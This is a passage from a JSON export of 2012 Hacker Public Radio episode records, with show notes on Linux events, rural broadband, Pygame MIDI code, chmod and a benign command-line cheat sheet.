      • laid through some of the most rugged, mountainous area of Lancashire to get to the people that need it most. (And let's be clear here, nothing to do with the fact that they will need to use dynamite to blast their way through the rocks.)
      • \n
      \n

      \nChris herself has lived in the Lune Valley for many years and is married to a farmer in Wray. She has been involved with the community in many roles over the years; for instance school governor and chair of Wray Endowed school during the eighties and early nineties and more recently supporter of a number of rural broadband projects. In 2002 she began campaigning for rural broadband and over the next few years helped establish a wireless network around Wray and a satellite network for rural farms. A founder member of Wray Com Com in 2003 (https://www.wraycomcom.org.uk/) and Wennet CIC in 2005 (https://www.wennetcic.co.uk). She is a pioneer of self installation fibre and a regular speaker at broadband events on the topic of rural broadband and DIY fibre build.
      \nShe is also a 'online animator' for high speed broadband for Europe. She posts on the blog (https://daa.ec.europa.eu/group/2/content\") and your feedback would be MORE than welcome. Europe assures her that they are listening. You can contact her at c.conder@b4rn.org.uk and be sure to tweet the hash tag #da12bb\n

      \n

      The Photos

      \n

      \n\n

      \n

      The Map

      \n

      \n
      View B4RN core route phase 1 in a larger map\n

      \n

      The Movie

      \n

      \n\n

      \n

      The Links

      \n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"broadband,fibre optic,fiber optic,B4RN","version":0,"downloads":2533,"valid":1}, {"id":981,"date":"2012-05-06","title":"Review Indiana LinuxFest 2012","duration":1397,"summary":"Ahuka speaks of his experiences attending the second of these conferences","notes":"

      Indiana LinuxFest is at https://www.indianalinux.org/cms/

      \n

      My web site is at https://www.zwilnik.com/

      \n

      To submit a talk for Ohio LinuxFest, please go to https://ohiolinux.org/callfortalks for more information.

      \n

      Remember to support free software!

      \n","hostid":198,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Indiana LinuxFest","version":0,"downloads":2231,"valid":1}, {"id":982,"date":"2012-05-08","title":"LiTS 006: pmount","duration":882,"summary":"Mount devices with the pmount command","notes":"

      \nIn our continuing journey around the command line, Dann takes us to visit the outer edges and talks about the pmount command.\n

      \n\n
      \nNAME\n       pmount - mount arbitrary hotpluggable devices as normal user\n
      \n

      \nAs ever the very very detailed shownotes can be found on his site https://www.linuxintheshell.com\n

      \n

      \nDon't forget that he also has a video component, and as ever this one is worth a watch.\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"mount,pmount","version":0,"downloads":2644,"valid":1}, {"id":983,"date":"2012-05-08","title":"Freedom is not Free 5 - Get Involved","duration":1052,"summary":"Part 5 of the \"Freedom is not Free\" series","notes":"Rounding off his series on \"Freedom\", Ahuka finishes off with \"Get Involved\"\n\nRemember that you should check out the following link https://ohiolinux.org/node/187, and https://www.zwilnik.com/","hostid":198,"series":69,"explicit":1,"license":"CC-BY-SA","tags":"FOSS,FLOSS,involvement","version":0,"downloads":2324,"valid":1}, {"id":984,"date":"2012-05-09","title":"Going Linux: Introduction to Podcasting with Linux","duration":2383,"summary":"A visit to the \"Going Linux\" podcast","notes":"

      \nIn this introduction to using Linux and Linux applications to record a podcast, we focus on doing it on the cheap. We reveal the hardware and software we use. We discuss that you don't have to have a fast, new computer and expensive recording equipment to make a good quality podcast recording. From recording to editing, and from creating a feed to creating a supporting website, we talk about the free and open source software we use. We also give some tips on the logistics of the recording process and hosting your audio files for free.\n

      \n\n

      Links discussed in this episode:

      \n

      \nCommonCraft Video: Podcasting In Plain English https://www.commoncraft.com/video/podcasting
      \n

      \n

      Hardware:

      \n

      \nHeadsets: Logitech USB Headset, Playstation USB Headset
      \nMicrophone: Audio-Technica ATR30
      \nMixer: Alesis Multimix 8 USB
      \n

      \n

      Software:

      \n

      \nAudacity https://audacity.sourceforge.net
      \nSkype https://skype.com
      \nSkype Call Recorder https://atdot.ch/scr
      \nEasyTag https://easytag.sourceforge.net
      \nRSS 2.0 specification: https://blogs.law.harvard.edu/tech/rss
      \niTunes info: https://www.apple.com/itunes/whatson/podcasts/tips.html
      \n

      \n

      Creative Commons license:

      \n

      \nhttps://creativecommons.org/about
      \nLegal considerations for podcasters:
      \nhttps://wiki.creativecommons.org/Podcasting_Legal_Guide
      \nGoogle's Feed Burner https://www.feedburner.com
      \nWeb hosting: https://www.site5.com/in.php?id=44470-6
      \nEditing the website: https://kompozer.net
      \nAudio file storage: https://www.archive.org
      \n

      \n","hostid":159,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"podcast recording","version":0,"downloads":2496,"valid":1}, {"id":985,"date":"2012-05-10","title":"LFNW: A Short Talk with Thomas Stover","duration":435,"summary":"An interview with Thomas Stover at Linux Fest North West","notes":"

      Linux Fest North West Week Special

      \n

      \nAll week we are airing the interviews that were recorded at the Linux Fest Northwest took place on April 28 and 29, 2012\nhttps://linuxfestnorthwest.org\n

      \n\n

      \n\nThomas Stover presented: User Space C Development\nContact Thomas at:\nhttps://www.thomasstover.com/\n

      \n

      \n\nA special Thank You to Thomas for the interview.\n\n

      ","hostid":209,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Linux Fest North West,LFNW,C","version":0,"downloads":2315,"valid":1}, {"id":986,"date":"2012-05-13","title":"LFNW: Interview with Scott Newlon of MintCast","duration":1433,"summary":"In this episode David Whitman interviews Scott Newlon of MintCast","notes":"

      Linux Fest North West Week Special

      \n

      \nAll week we are airing the interviews that were recorded at the Linux Fest Northwest took place on April 28 and 29, 2012\nhttps://linuxfestnorthwest.org\n

      \n

      mintCast

      \n

      mintCast is \"a podcast by the Linux Mint community for all users of Linux.\" Keep up to date on the latest happenings in the Mint community along with reviews and tutorials on how to get the most out of your Linux system.\n

      \n

      \nhttps://www.mintcast.org/\n

      \n

      \nI interviewed Scott on April 29, 2012 at a picnic table outdoors.
      \n\ndw\n\n

      ","hostid":209,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"mintCast,Linux Mint,Linux Fest North West,LFNW","version":0,"downloads":2174,"valid":1}, {"id":987,"date":"2012-05-15","title":"LFNW: Larry Cafiero - the Crunchbang guy","duration":313,"summary":"An interview with Larry Cafiero at Linux Fest North West","notes":"

      Linux Fest North West Week Special

      \n

      \nAll week we are airing the interviews that were recorded at the Linux Fest Northwest took place on April 28 and 29, 2012\nhttps://linuxfestnorthwest.org\n

      \n

      Larry Cafiero - the Crunchbang guy

      \n

      \nhttps://larrythecrunchbangguy.wordpress.com/category/lfnw/\n

      \n

      \nLarry the CrunchBang Guy is Larry Cafiero, 54, who runs Redwood Digital Research in Felton, California, which provides Free/Open Source Software solutions for the small business/home office environment. He has been an advocate for Free/Open Source Software (FOSS) since the fall of 2006. Toward the end of 2006, he had an epiphany or satori regarding the social, philosophical, political and economic benefits of using FOSS on his favored hardware, which at the time consisted of the Mac PowerPC platform (although he has warmed up to Intel machines as of late). He organized a project to promote GNU/Linux which turned out to be the Lindependence events in Felton, California, in 2008. Larry’s brush with fleeting fame came in 2006 as the Green Party’s candidate for Insurance Commissioner in California (270,218 votes, 3.2 percent). He has been using CrunchBang on a regular basis since July 2011.\n

      \n

      \nSee Larry's video of his LFNW Presentation at:\nhttps://archive.org/details/LinuxfestNorthwest2012\n

      \n\n","hostid":209,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"CrunchBang,Linux Fest North West,LFNW","version":0,"downloads":2240,"valid":1}, {"id":988,"date":"2012-05-15","title":"LFNW: Dawn McKenna of McKenna Interpreting Services","duration":1774,"summary":"An interview with Dawn McKenna at Linux Fest North West","notes":"

      Linux Fest North West Week Special

      \n

      \nAll week we are airing the interviews that were recorded at the Linux Fest Northwest took place on April 28 and 29, 2012\nhttps://linuxfestnorthwest.org\n

      \n

      Dawn McKenna of McKenna Interpreting Services

      \n

      \nDawn McKenna of McKenna Interpreting Services organized a group of volunteer sign language interpreters for the Linux Fest.
      \nhttps://linuxfestnorthwest.org/sponsor/mckenna-interpreting-services
      \nIf you want to get more information about how to organize sign language interpretation at your event contact Dawn at spiderterp@gmail.com
      \nDawn had a very cool computer mouse with a spider trapped inside.
      \nThe HPR table was next to this group and these folks were really fun to be around. Lots of energy and you could tell they were really into their craft.
      \nThanks to all the volunteer sign language interpreters! YOU ROCK!
      \n

      \n","hostid":209,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"sign language,interpreting,Linux Fest North West,LFNW","version":0,"downloads":2149,"valid":1}, {"id":989,"date":"2012-05-17","title":"Juiced Penguin 079 – Early Spring","duration":3015,"summary":"A visit to the \"Juiced Penguin\" podcast","notes":"

      \nToday it's the turn of Juiced Penguin, https://juicedpenguin.com/ which are A musical Oggcast for the Ogg community. Est. Jan 26, 2009 \n

      \n

      A musical Oggcast for and by the Ogg community. PodSafe music from all genres. Rock, Blues, Metal, Country, Classical, etc… Any Flavor of music is welcome to be showcased. Listener supported, meaning you have the opportunity to DJ up your own stuff. If you want to do a regular show GREAT, if you just want to do one show, that’s great too. Tune in and listen, or submit a show so everyone can listen. May contain explicit material (dirty words) \";)\"
      \nContact: feedback (at) juicedpenguin (dot) com

      \n

      \nTodays show was put together by terryf

      \n

      \n\"\"

      \n

      Todays Host: terryf

      \n

      Todays Oggcast art is from www.deshow.net
      \nYou can also find us on the Internet Archive
      \nFollow Juiced Penguin on Google+

      \n

      Band: Song
      \n1.) The Dada Weatherman: Yellow Gold
      \n2.) 100 Damned Guns: Wish I could die
      \n3.) Sean T Wright: The Calling
      \n4.) Bourland: Honkytonk Delilah
      \n5.) Sungod Abscondo: Monster
      \n6.) Routine Homecoming: God & the Saddest Song
      \n7.) Flat People: Everybody’s Got A Syndrome Here
      \n8.) Kyle Cox: Company
      \n9.) Austen Brauker: Backward
      \n10.) Michael Bergmann: Shithouse Explodes
      \n11.) PSYCHOHORSES WHJK: Maison rouge chambre verte ainsi

      \n

      If you would like to submit an episode, please email
      \nus at: feedback (at) juicedpenguin (dot) com
      \nSuggestions and Comments are always welcomed.

      \n

      Links

      \n\n","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"PodSafe music,Oggcast","version":0,"downloads":2340,"valid":1}, {"id":990,"date":"2012-05-17","title":"Portable Apps","duration":625,"summary":"JWP talks about portable applications","notes":"In today's show JWP talks to us about portable applications.","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"CrunchBang,portableapps.com","version":0,"downloads":2170,"valid":1}, {"id":991,"date":"2012-05-20","title":"Making a Music Sampler with Midi and Pygame","duration":590,"summary":"Using Python Pygame and a Midi controller to make a sampler","notes":"

      \nPygame Midi documentation:
      \n https://www.pygame.org/docs/ref/midi.html\n

      \n

      \nPygame Mailing List:
      \n https://www.pygame.org/wiki/info\n

      \n

      \nMidi.py sample from pygame example folder:
      \n https://bitbucket.org/pygame/pygame/src/25e3f2cee879/examples/midi.py\n

      \n

      \nSampler/Sound Looper made from python, pygame and midi:
      \n https://www.pygame.org/project-BadPenni+-+MIDI+Triggered+Sound+Looper-1734-.html
      \n

      \n

      \nSample values that populate midi_events variable:
      \n

      \n

      \n Middle C note key press (notice the data1 is 60 and data2 is 127)
      \n <Event(34-Unknown {'status': 144, 'vice_id': 2, 'timestamp': 6701, 'data1': 60, 'data3': 0, 'data2': 127})>
      \n

      \n

      \n Middle C note key release (notice the data1 is 60 and data2 is 0)
      \n <Event(34-Unknown {'status': 128, 'vice_id': 2, 'timestamp': 6764, 'data1': 60, 'data3': 0, 'data2': 0})>
      \n

      \n

      \n Middle C# note key press (notice the data1 is now 61)
      \n <Event(34-Unknown {'status': 144, 'vice_id': 2, 'timestamp': 206684, 'data1': 61, 'data3': 0, 'data2': 127})>
      \n

      \n

      \nPython code snippet that pulls the note number from the midi_events list and appends an \"off\" string if it is a key release.
      \n

      \n
      \n    if str(midi_events[0][0][2]) != \"0\":\n        midinote = str(midi_events[0][0][1])\n    else:\n        midinote = str(midi_events[0][0][1]) + \"off\"\n
      \n

      \nControlling sounds with if statements and our midinote variable:
      \n

      \n
      \n    distbassrollloop = pygame.mixer.Sound(\"7FullCircleDistBassRollLoop.wav\")\n    distsnarerollloop = pygame.mixer.Sound(\"7FullCircleDistSnareRollLoop.wav\")\n    distbass = pygame.mixer.Sound(\"7FullCircleDistBassPad.wav\")\n    distsnare = pygame.mixer.Sound(\"7FullCircleDistSnare.wav\")\n\n    if midinote == \"48\":\n        distbass.play()\n\n    if midinote == \"49\":\n        distbassrollloop.play(1000)\n\n    if midinote == \"49off\":\n        distbassrollloop.stop()\n\n    if midinote == \"50\":\n        distsnare.play()\n\n    if midinote == \"51\":\n        distsnarerollloop.play(1000)\n\n    if midinote == \"51off\":\n        distsnarerollloop.stop()\n
      \n

      \nContact info:
      \n

      \n

      \n bgryderclock on Google+:
      \n https://plus.google.com/u/0/114032638902983586355\n

      \n

      \n bgryderclock on Twitter:
      \n https://twitter.com/bgryderclock\n

      \n

      \n bgryderclock on Identica:
      \n https://identi.ca/bgryderclock\n

      \n

      Links

      \n\n","hostid":213,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Python,Pygame,MIDI,sampler","version":0,"downloads":2171,"valid":1}, {"id":992,"date":"2012-05-22","title":"LiTS 007: Chmod and Unix Permissions.","duration":1341,"summary":"Change file and directory access permissions with the chmod command","notes":"

      \nThis is LITS 007\n

      \n

      \nPay attention everyone, this is serious stuff. This is CHMOD a powerful and dangerous operator that has \ninfiltrated to the heart of every unix and linux system. We have been receiving reports that it has also behind many strange incidents leading to computer compromise and in some cases complete lock down.\n

      \n

      \nOur American colleague, Special Agent Washko, will show us how to, in his own words \"turn this bad boy around\" so we can get it working for us.\n

      \n

      \nAs ever the extremely detailed shownotes can be found on his site https://www.linuxintheshell.com/2012/05/22/episode-007-chmod-and-unix-permissions/.\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"permissions,chmod","version":0,"downloads":2840,"valid":1}, {"id":993,"date":"2012-05-23","title":"Setting up a Wordpress blog: part 3 - tweaking appearance","duration":1699,"summary":"Episode 3 of the series Setting up a Wordpress blog","notes":"This is the third of Frank's series on setting up a WordPress blog, now projected to be four episodes.
      \n
      \nThis episode discusses tweaking appearance, particularly the theme. The next episode will be about maintenance.
      \n
      \nLinks:
      \n
      \nAbout.com's webdesign reference and tutorial. https://webdesign.about.com/
      \n
      \nW3Schools https://www.w3schools.org/info/how-to-create-websites.html
      \n
      \nWordPress themes and plugins https://wordpress.org/extend/
      \n
      \nConnections Reloaded WordPress theme. https://wordpress.org/extend/themes/connections-reloaded
      \n
      \nGGSimpleWhite WordPress theme. https://wordpress.org/extend/themes/ggsimplewhite
      \n
      \nReport of malware in WordPress themes from Geek News Central. https://www.geeknewscentral.com/2011/01/14/free-wordpress-themes-loaded-with-malware/
      \n","hostid":195,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"WordPress,blog,appearance,theme","version":0,"downloads":2044,"valid":1}, {"id":994,"date":"2012-05-23","title":"NELF: John Maddog Hall Talking About Talking About Free Software","duration":3595,"summary":"John Maddog Hall recorded at the Northeast GNU/Linux Fest 2012-03-17","notes":"In todays syndicated Thursday, we bring you another of the talks recorded at the Northeast GNU/Linux Fest 2012-03-17. The speaker is John Maddog Hall and the talk is \"Talking About Talking About Free Software\"
      \nYou might remember that Klaatu recorded a fantastic interview back in episode 767 :: Maddog and \"super dumb terminals\" on 2011-07-11\nhttps://hackerpublicradio.org/eps.php?id=0767\n\n\n\n","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"free software","version":0,"downloads":2236,"valid":1}, {"id":995,"date":"2012-05-24","title":"Do the four freedoms extend beyond software ?","duration":893,"summary":"The Free Software Definition has a wider scope than just software","notes":"

      \nOn Linux For The Rest Of Us #74 - The Legistrative Session, one of our correspondents Mr. Gadgets, called in the following question. The segment begins at at 01:00:30 and in it he describes a conversation about the four freedoms where someone whose opinion he respected stated \"the four freedoms only cover programming. It is only the code that is covered in the four freedoms\".\n

      \n

      \nFor those of you who don't know The Free Software Definition boils down to the following rules:\n

      \n
        \n
      • Freedom 0: The freedom to run the program for any purpose.
      • \n
      • Freedom 1: The freedom to study how the program works, and change it to make it do what you wish.
      • \n
      • Freedom 2: The freedom to redistribute copies so you can help your neighbor.
      • \n
      • Freedom 3: The freedom to improve the program, and release your improvements (and modified versions in general) to the public, so that the whole community benefits.
      • \n
      \n

      \nIf you read the The Free Software Definition, then yes all the references are to \"software\" only....
      \n...that is of course until you get to the section Beyond Software, in the same document, which states:
      \n

      \n

      \n\nSoftware manuals must be free, for the same reasons that software must be free, and because the manuals are in effect part of the software.\n
      \nThe same arguments also make sense for other kinds of works of practical use - that is to say, works that embody useful knowledge, such as educational works and reference works. Wikipedia is the best-known example.\n
      \nAny kind of work can be free, and the definition of free software has been extended to a definition of free cultural works applicable to any kind of works.\n
      \n

      \n

      \nSo in summary, as HPR is now released under a Creative Commons Attribution-ShareAlike 3.0 Unported lisence, any shows that provide useful knowledge, such as educational works and reference works are covered by the four freedoms.\n

      \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"free software definition","version":0,"downloads":2235,"valid":1}, {"id":996,"date":"2012-05-28","title":"Command line cheat sheet","duration":291,"summary":"A Unix command cheat sheet written by FossWire","notes":"

      \nIn today's show JWP tries calling in a live over the UK call in number UK: +44-203-432-5879 (The US number +1-206-203-5729) and tells us of a CC-BY-SA cheat sheet written by FossWire.\n

      \n

      \nhttps://fosswire.com/post/2007/08/unixlinux-command-cheat-sheet/\n

      \n
      \n\ndate - print or set the system date and time\n$ date\nWed Mar  7 19:53:05 CET 2012\n\ncal, ncal — displays a calendar and the date of Easter\n$ cal\ncal: setlocale: No such file or directory\n     March 2012       \nSu Mo Tu We Th Fr Sa  \n             1  2  3  \n 4  5  6  7  8  9 10  \n11 12 13 14 15 16 17  \n18 19 20 21 22 23 24  \n25 26 27 28 29 30 31  \n                      \nuptime - Tell how long the system has been running.\n\nuname - print system information\n$ uname -a\nLinux video 3.1.0-1-amd64 #1 SMP Tue Nov 29 13:47:12 UTC 2011 x86_64 GNU/Linux\n\n$ cat /proc/cpuinfo | head -5\nprocessor       : 0\nvendor_id       : AuthenticAMD\ncpu family      : 15\nmodel           : 44\nmodel name      : AMD Sempron(tm) Processor 2600+\n\n$ cat /proc/meminfo | head -5\nMemTotal:        1027176 kB\nMemFree:          111016 kB\nBuffers:          136104 kB\nCached:           173992 kB\nSwapCached:         7964 kB\n\ndu - estimate file space usage\n$ du -ch | tail -1\n253M    total\n\ndf - report file system disk space usage\n$ df -h\nFilesystem                   Size  Used Avail Use% Mounted on\n/dev/sdd1                     28G   22G  4.3G  84% /\ntmpfs                        5.0M  4.0K  5.0M   1% /lib/init/rw\ntmpfs                        101M  632K  100M   1% /run\nudev                         496M     0  496M   0% /dev\ntmpfs                        201M     0  201M   0% /run/shm\n
      ","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"command line,date,cal,ncal,uptime,uname,du,df","version":0,"downloads":2244,"valid":1}, {"id":997,"date":"2012-05-28","title":"Poorly Recorded Thoughts On Rural Computing","duration":718,"summary":"Rural communications problems versus the urban equivalent","notes":"lostnbronx sends in a show which brings us down to earth when we talk about poor reception and slow Internet speeds.
      \n\n\nSorry for the sound quality. I recorded this in the car, Dave Yates style, with my Sanza Fuze v2, running Rockbox -- but my car is loud, and I had the Fuze hanging precariously from my jacket, where it was covered over half the time.","hostid":107,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"mobile computing,DSL,land line,cellphone,coverage","version":0,"downloads":2164,"valid":1}, {"id":998,"date":"2012-05-29","title":"Viva la Federation!","duration":1441,"summary":"Setting up a Status.net instance","notes":"

      \n In this episode, NYbill and\n Windigo explain their\n experience setting up their own instances of Status.net, a microblogging service.\n

      \n

      \n While they do not give a beginning to end installation guide, they\n do discuss some hurdles they encountered, and provide resources\n that may prove invaluable to someone who has just set up their own\n server.\n

      \n

      Links

      \n","hostid":196,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"microblogging,status.net,identi.ca","version":0,"downloads":2130,"valid":1}, {"id":999,"date":"2012-05-30","title":"Simon Phipps on Open Software: OGG Camp Part One","duration":1084,"summary":"The Full Circle Podcast with a recording of Simon Phipps at OggCamp 11","notes":"

      This is the first of our highlights of last Summer's unconference, OGG Camp eleven, held at Farnham Maltings in the South of England.

      \n\n

      Introducing Simon Phipps, who presented the opening session of the unconference to a packed main hall, on Software Freedom.

      \n\n

      A computer industry veteran, Simon Phipps came on with an actual box of hats which he proceeded the change at speed, reminding me of Tommy Cooper in his heyday.

      \n\n

      Simon has come up through hands-on roles as field engineer, programmer and systems analyst, run a software publishing company, worked with OSI standards in the eighties, on the first commercial collaborative conferencing software in the nineties, and helped introduce both Java and XML at IBM.

      \n\n

      A founding Director of the Open Mobile Alliance, Simon is Chief Strategy Officer at independent software company ForgeRock and Director of the Open Source Initiative. Find his essays at webmink.com.

      \n\n

      Simon Phipps’ presentation on software freedom. Here’s a shortened version of the presentation which ran to 35 minutes in its entirety.

      \n\n

      OGG Camp is a joint venture organised by those lovely podcasters the Linux Outlaws and the Ubuntu UK Podcast.

      \n\n

      We've more highlights of OGG Camp coming up on the Full Circle Podcast very soon, including Karen Sandler and the Ogg Camp Panel discussion.

      \n\n

      The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at www.fullcirclemagazine.org/podcast.

      \n

      Feedback; you can post comments and feedback on the podcast page at www.fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org

      \n\n

      Your Hosts:

      \n\n\n\n

      Additional audio by Victoria Pritchard

      \n\n

      Runtime: 18mins 2seconds

      ","hostid":160,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"OggCamp","version":0,"downloads":2177,"valid":1}, {"id":1000,"date":"2012-05-31","title":"Episode 1000","duration":1247,"summary":"Thoughts and wishes for the 1000th episode of HPR","notes":"

      \nHacker Public Radio commemorated it's 1000th episode by inviting listeners, contributors, and fellow podcasters to send in their thoughts and wishes of the occasion. The following voices contributed to this episode.\n

      \n

      \nFiftyOneFifty, Chess Griffen, Claudio Miranda, Broam, Leo LaPorte and Dick DeBartolo, Dan Lynch, Becky and Phillip (Corenominal) Newborough, Dann Washko, Frank Bell, Jezra, Fabian Scherschel, k5tux, CafeNinja, imahuph, Johan Vervloet, Kevin Granade, Knightwise, MrX, NYBill, Quvmoh, pokey, MrGadgets, riddlebox, Saturday Morning Linux Review, Scott Sigler, Robert E. Wooden, Sigflup, BrocktonBob, Trevor Parsons, Ulises Manuel López Damián, Verbal, Ahuka, westoztux, Toby Meehan, Chris Garrett, winigo, Ken Fallon, Lord Draukenbleut, aukondk, Full Circle Podcast\n

      \n","hostid":131,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"HPR,community,congratulations ","version":0,"downloads":2524,"valid":1}, {"id":1001,"date":"2012-06-04","title":"HPR Community News May 2012","duration":2540,"summary":"HPR Community News May 2012","notes":"

      New hosts

      \n

      \nWelcome to our new host:\nbgryderclock.\n
      \nIf you would like to become a HPR host then please head over to https://hackerpublicradio.org/contribute.php\n

      \n\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
      id\ntitle\nhost\n
      976HPR Community News (March 2012)HPR Admins
      977Setting Up a WordPress Blog 2Frank Bell
      978Dead_HuntVarious Hosts
      979Sunday Morning Linux Review Episode 029Various Creative Commons Works
      980Broadband for Rural NorthKen Fallon
      981Review Indiana LinuxFest 2012Ahuka
      982LITS: Episode 005 - pmountDann
      983Freedom is not Free 5 - Get InvolvedAhuka
      984Going Linux: Introduction to Podcasting with LinuxHPR Admins
      985LFNW: A Short Talk with Thomas StoverDavid Whitman
      986LFNW: Interview with Scott Newlon of MintCastDavid Whitman
      987LFNW: Larry Cafiero - the Crunchbang guyDavid Whitman
      988LFNW: Dawn McKenna of McKenna Interpreting ServicesDavid Whitman
      989Juiced Penguin 079 – Early SpringVarious Creative Commons Works
      990Portable AppsJWP
      991Making a Music Sampler with Midi and Pygamebgryderclock
      992Linux In The Shell 007 - Chmod and Unix Permissions.Dann
      993Setting up a Wordpress blog - tweaking appearanceFrank Bell
      994NELF: John Maddog Hall Talking About Talking About Free SoftwareVarious Creative Commons Works
      995Do the four freedoms extend beyond software ?Ken Fallon
      996Command line cheat sheetJWP
      997Poorly Recorded Thoughts On Rural Computinglostnbronx
      998Viva la Federation!NYbill and Windigo
      999Simon Phipps on Open Software: OGG Camp Part OneRobin Catling
      1000Episode 1000FiftyOneFifty
      \n\n

      Apologies

      \n

      \nApologies to Dave Morriss for missing his show and code contribution\n

      \n\n

      New US Phone Number

      \n

      \nThe US number has changed to 206-203-5729 while the UK number remains the same +44-203-432-5879\n

      \n\n

      A short report from the HPR Table at LinuxFest Northwest

      \n

      \nFrom: David Whitman
      \n
      \nA friend from work got interested in going to the LinuxFest and helped at the table - Much thanks to Brad Coffey. We got set up on time and were well received. We had a great run on our swag and ran out of the HPR pin buttons by closing on the first day and handed out quite a few informational cards.The little business cards were really a hit also. Lots of good conversation and exposure for HPR. There was a constant stream of people coming by. I have four interviews on my various recording devices and should be able to get about four to six more from the sign up sheet that was available on the table. With a bit of planning and a more formal interview 'track' (using an appointment schedule and a designated room or area) I am sure a well staffed HPR table could easily get 20 interviews at this fest. Of course I will be interested in\nseeing if any of the many we talked to produces and post their own show. There was interest. I sensed that many of the speakers would have loved the extra exposure. HPR is probably becoming the embedded reporters of Linux Fests. The unofficial count of attendees that I heard was at \"over 800\". The table kit is ready to be shipped to the next venue. My intent is to put together a vertical layout canvas that can easily be shipped and set up as a backdrop and utilize a series of those 20 by 30 photo posters available at Costco Photo. This however will have to wait until after my annual spring fling of shutdown work that begins on May 5 and takes up to 3 weeks to complete. I'll post a G+pic of the backdrop we used at this fest. Best swag for me - a Tux 2012 bumper sticker from Pogo Linux. Look for a scan of this on G+ in the near future.\n
      \nThanks to the HPR community for the opportunity to represent the show. It was much fun.
      \n
      \ndavidWHITMAN\n

      \n\n

      New Banner

      \n

      \nThere was a very kind offer by David Whitman to sponsor a tall free standing banner and the call was put out for a design. Here is the final outcome of the discussions.
      \n\"Banner\n

      \n

      One Community supporting another

      \n

      \nBack in episode https://hackerpublicradio.org/eps/hpr0980/ Broadband for Rural North, I suggested that people could sponsor a meter of cable for their project to show your support. Well they have gone ahead and done it\nhttps://b4rn.org.uk/sponsor-a-metre. It's £5 for a meter or Special offer, 5 names for £20.\n
      \nI will also extend the donation deal from the holiday period, so that anyone who donates to this gets some HPR swag when it's available.\n

      \n\n

      Explicit Tag

      \n

      \nThere was a discussion on whither we should have a ban on swearing. We already have a iTunes explicit tag so assume that all shows may contain controversial material. Hosts are free to add a \"safe for work\" warning or any other warning they wish to the shows.
      \nWe may add an option in the upload forms to support this on a show by show basis.\n

      \n\n

      Episode 1000 and 1024

      \n

      \nA note from Fifty OneFifty
      \nThis is a list of all the TWaTech correspondents that I either I had no contact information for or the best e-mail I could find bounced back:
      \n\nAdam, Coder365, DarkShadow, Draven, kotrin, Lunarsphere, MrE, spaceout, ThoughtPhreaker, killersmurf, Dominic Uilano, livinded, J-Hood, skyre, kitche, plexi, Scedha, Will Jasen, phizone, operat0r, blackratchet, merk, and Dr^ZigMan\n
      \n
      \nI'd like you to mention the handles and maybe the community can help us make contact with them. I sent the invitations to the first year HPR correspondents today. One message bounced back, but I can contact that person by other means. I'd also like you to read the message below and consider posting it on the site.\n

      \n

      \nHacker Public Radio is inviting the participants in podcasts and organizations that proceeded HPR and led to it's creation to join a recorded panel discussion on HPR's origins and history. We are reaching out to TWATech, BinRev Radio, Radio Freak America, Podfert, the Infonomicon Computer Club, and contributors to the first twelve months of HPR. Our discussion will be recorded via the LinuxBasix.com Mumble server (mumble.openspeak.cc , Port: 64747) and be released as HPR episode 1024 (Stankdawg's idea). Episode 1024 should fall on 5 July, but we would like to shoot for recording the panel about two weeks before hand. In case of technical or other unforeseen problems on the primary recording date, a two week lead would give us time to regroup and make a second attempt. The date and time will be set to make it convenient for the greatest number of people who are willing to participate to join in. Connections over Skype and SIP phone via Asterisk are possible, but it would be simplest for everyone to try to use the open source Mumble client.\n
      \nIf you decide to join in (and we hope you will), please include the time zone of where you will be in mid June, especially if you are outside the continental United States. If there are dates, days of the week and/or times you would like me to avoid scheduling the panel (i.e., \"I will be gone June 19-21\", \"I could only do it on a weekend\", \"only after 8PM\", \"only before 10PM\") I would like to know that as well. You may contact the organizers at ep1k@HackerPublicRadio.org\n

      \n

      Dedicated News Day

      \n

      \nFor some reason that escapes us the mail archiver stopped working after the server move. So I'll paste in here the mail list discussions on the dedicated news show. I wanted to make sure that everyone sees this discussion so I'll paste it in here.\n

      \n
